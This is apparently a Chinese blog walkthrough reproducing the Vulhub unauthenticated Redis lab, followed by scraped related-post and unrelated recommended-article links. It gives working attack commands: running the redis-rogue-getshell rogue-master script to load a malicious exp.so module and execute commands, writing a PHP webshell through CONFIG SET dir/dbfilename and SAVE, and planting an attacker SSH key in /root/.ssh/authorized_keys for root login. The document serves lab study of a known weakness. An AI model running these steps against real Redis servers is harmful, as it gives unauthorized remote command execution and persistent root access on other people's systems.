【vulhub】redis 4-unacc (redis未授权访问)
渗透环境
攻击机: IP: 192.168.66.130(Kali)
漏洞收录于:vulhub/redis/4-unacc
涉及知识点:redis未授权访问
影响版本:redis 版本 < 6.x
漏洞的产生条件有以下两点:
- Redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
- 没有设置密码认证(默认为空)或者弱密码,可以免密码登录redis服务
复现漏洞
一、 启动漏洞容器
docker-compose up -d

可以看到redis运行在默认端口6379上
二、未授权连接
redis-cli -h 192.168.66.130
redis-cli -h [IP] -p [port] -a [password]
当使用默认端口6379时可不使用参数-p
测试连接,ping一下,成功连接

三、get shell
一般来说有两种方式get shell:
- 使用现成工具
redis-rogue-getshell,项目地址:https://github.com/vulhub/redis-rogue-getshell.git - 通过向靶机写入SSH公钥实现SSH登录
但由于vulhub环境搭建的问题,在写入SSH公钥时会遇到无法将工作目录设置为/root/.ssh的问题,因此这里只能用第一种姿势get shell。不过第二种方法下面也会提到。
姿势一:redis-rogue-getshell
漏洞背景
Redis 4.x及5.0.5之前的版本支持主从复制模式,攻击者可伪造一个恶意主节点(Master),诱导目标Redis作为从节点(Slave)连接,通过传输恶意数据流注入攻击载荷。
核心步骤
- 主从关系建立
攻击机运行脚本redis-master.py,监听指定端口(如8989),伪装成主节点。目标Redis被设置为从节点后,会自动同步攻击机发送的数据。 - 加载恶意模块
脚本通过Redis的MODULE LOAD命令,将预编译的恶意模块exp.so上传至目标服务器。该模块包含执行系统命令的功能。 - 命令执行
利用模块中的system.exec方法执行-c参数指定的命令(如ls),从而控制目标服务器。
git clone https://github.com/vulhub/redis-rogue-getshell.git
cd redis-rogue-getshell/RedisModulesSDK
make # 编译的时候可能会报错,不用管
cd .. # 回到redis-rogue-getshell
./redis-master.py -r 192.168.66.130 -p 6379 -L 192.168.66.130 -P 8989 -f RedisModulesSDK/exp/exp.so -c "ls"
[!NOTE]
-r 192.168.66.130 # 目标Redis服务器的IP地址
-p 6379 # 目标Redis服务的端口(默认6379)
-L 192.168.66.130 # 攻击机监听的IP地址(伪装为主节点)
-P 8989 # 攻击机监听的端口(用于主从同步)
-f RedisModulesSDK/exp/exp.so # 恶意动态链接库(.so文件路径)
-c "ls" # 要在目标服务器上执行的命令

可以看到whoami已经执行成功。
姿势二:写入SSH
redis-cli常用命令
| 命令 | 作用 |
|---|---|
| keys | 列出当前数据库中所有的键 |
| info | 查看redis信息 |
| config set dir [path] | 设置工作目录 |
| config set dbfilename [filename] | 设置文件名 |
| set [key] [value] | 设置键值对 |
| config get dir | 检查工作目录是否设置成功 |
| config get dbfilename | 检查备份文件名是否设置成功 |
| save | 进行一次备份操作 |
| flushall | 删除所有数据(慎用) |
| del key | 删除键为key的数据 |
由于没有开启其他web服务,我们的webshell也无法解析。但是可以先尝试能否写入文件。
设置路径、文件
config set dir /tmp
config set dbfilename test.php
set webshell "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
save
[!NOTE]
写入文件内容时添加几个换行,是因为redis写入文件时会自带一些版本信息,若不换行可能会导致木马无法正常执行
进入容器查看是否已经成功写入

可以看到已经成功写入。接下来我们要做的是在攻击机上生成ssh的登录公钥,将公钥写入靶机/root/.ssh/authorized_keys文件中,攻击机即可ssh连接靶机。
ssh-keygen -t rsa # 生成公钥,执行后可以设置生成的路径、密码等,可以直接回车跳过

公钥默认生成路径为/root/.ssh/id_rsa.pub,对应的私钥为/root/.ssh/id_rsa
cd /root/.ssh
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt # 将生成的公钥写入1.txt中。前后的换行是因为redis写入文件时会自带一些版本信息,若不换行可能会导致木马无法正常执行
cat 1.txt | redis-cli -h 192.168.66.130 -x set crack # 将1.txt的内容作为值,crack作为键,设置键值对
config set dir /root/.ssh # 就是在这一步,靶机提示没有权限,应该是vulhub环境搭建的问题
config set dbfilename authorized_keys
save
至此,ssh公钥已经写入靶机,只要攻击机使用私钥id_rsa进行ssh连接即可
ssh -i /root/.ssh/id_rsa root@192.168.66.130
【vulhub】redis 4-unacc (redis未授权访问)的更多相关文章
- 验证docker的Redis镜像也存在未授权访问漏洞
看到了这篇老外的博客:Over 30% of Official Images in Docker Hub Contain High Priority Security Vulnerabilities于 ...
- redis 4.x及以上的未授权访问
00x01 环境搭建 选择在kali中复现 选择了redis5.0.5版本 1.下载并安装: $ wget http://download.redis.io/releases/redis-5.0.5. ...
- redis未授权访问漏洞——简单记录
从0复现redis未授权访问漏洞 环境:centos8(ip:10.0.0.3) 安装 redis 工具:kali(10.1.1.136) 1. 介绍 Redis REmote DIctionary ...
- Redis未授权访问漏洞分析
catalog . Redis简介 . 漏洞概述 . 漏洞利用方式 . 修复方式 1. Redis简介 Relevant Link: http://www.cnblogs.com/LittleHann ...
- [ Redis ] Redis 未授权访问漏洞被利用,服务器登陆不上
一.缘由: 突然有一天某台服务器远程登陆不上,试了好几个人的账号都行,顿时慌了,感觉服务器被黑.在终于找到一个还在登陆状态的同事后,经查看/ect/passwd 和/etc/passwd-异常,文件中 ...
- Redis未授权访问缺陷让服务器沦为肉鸡
朋友的一个项目说接到阿里云的告警,提示服务器已沦为肉鸡,网络带宽被大量占用,网站访问很慢,通过SSH远程管理服务器还频繁断开链接.朋友不知如何下手,便邀请我帮忙处理. 阿里云的安全告警邮件内容: 在没 ...
- 修补--Redis未授权访问漏洞
--------------------------------阿里云解决方案----------------------------------- 一.漏洞描述 Redis因配置不当可以导致未授权访 ...
- Redis未授权访问
最近在做校招题目的时候发现有问到未授权访问,特此搭建了诸多未授权访问的环境并且一一复现并做简单总结.再次记录下来 环境介绍 0x00环境搭建 我这里用到的是Microsoft(R) Windows(R ...
- Redis未授权访问漏洞的利用及防护
Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP ...
- Redis 未授权访问漏洞(附Python脚本)
0x01 环境搭建 #下载并安装 cd /tmp wget http://download.redis.io/releases/redis-2.8.17.tar.gz tar xzf redis-.t ...
随机推荐
- LocalLLaMA 客户端试验
LM Studio. 可以直接下 hg 模型(实际使用需要自己修改成中国镜像). 有 local server, 符合 openai api 规范. 遗憾的是不支持选择显卡导致无法使用. Farada ...
- 在 d2js 使用多种数据源如spring数据源
不少人误以为 d2js 只能通过 database.js 指定一个数据库,是一个单数据库方案.实际上 d2js 也可以使用多个数据库. 在 WEB-INF/jslib/d2js/base.js 的末尾 ...
- vmagent如何快速采集和转发Metrics
vmagent如何快速采集和转发Metrics 本文介绍了vmagent的设计细节,参考自:vmagent-how-it-works VictoriaMetrics agent是一个轻量级工具,用于采 ...
- apache kylin的一些注意事项(解决kylin报错Storage schema reading not supported)
1.目前我所使用的kylin版本为2.6.2,有时在完成一次构建后会出现fail to locate kylin.properties的异常,如图所示 经排查,定位到kylin源码中的 org.apa ...
- Qt开发经验小技巧176-180
QCamera中获取设备的配置参数比如支持的分辨率集合等,需要先调用load后才能正确获取,或者关联stateChanged信号中判断状态是否是ActiveState,然后再读取. //方法1:调用l ...
- Qt编写的项目作品36-秘钥生成工具
一.功能特点 (一)常规秘钥机制 远程联网激活,每次启动都联网查看使用时间等,这种方法最完美,缺点是没法联网的设备就歇菜了,而很多设备都是要求离线使用无法联网. 通过获取本地的硬盘+CPU等硬件的编号 ...
- ESLint is disabled since its execution has not been approved or denied yet
VS Code 装好ESLint 插件报黄线的问题,具体解决方法如下所示: ESLint is disabled since its execution has not been approved o ...
- 移动端IM开发者必读(三):爱奇艺移动端跨国弱网通信的优化实践
本文由爱奇艺技术团队分享,作者isno,原题"爱奇艺海外App的网络优化实践",下文进行了排版和内容优化等. 1.引言 做海外市场,特别目标是面向全球的用户,网络的重要性不言而喻. ...
- IM消息ID技术专题(六):深度解密滴滴的高性能ID生成器(Tinyid)
1.引言 在中大型IM系统中,聊天消息的唯一ID生成策略是个很重要的技术点.不夸张的说,聊天消息ID贯穿了整个聊天生命周期的几乎每一个算法.逻辑和过程,ID生成策略的好坏有可能直接决定系统在某些技术点 ...
- token、jwt、oauth2、session对比总结
什么是认证(Authentication) 通俗地讲就是验证当前用户的身份,证明"你是你自己"(比如:你每天上下班打卡,都需要通过指纹打卡,当你的指纹和系统里录入的指纹相匹配时,就 ...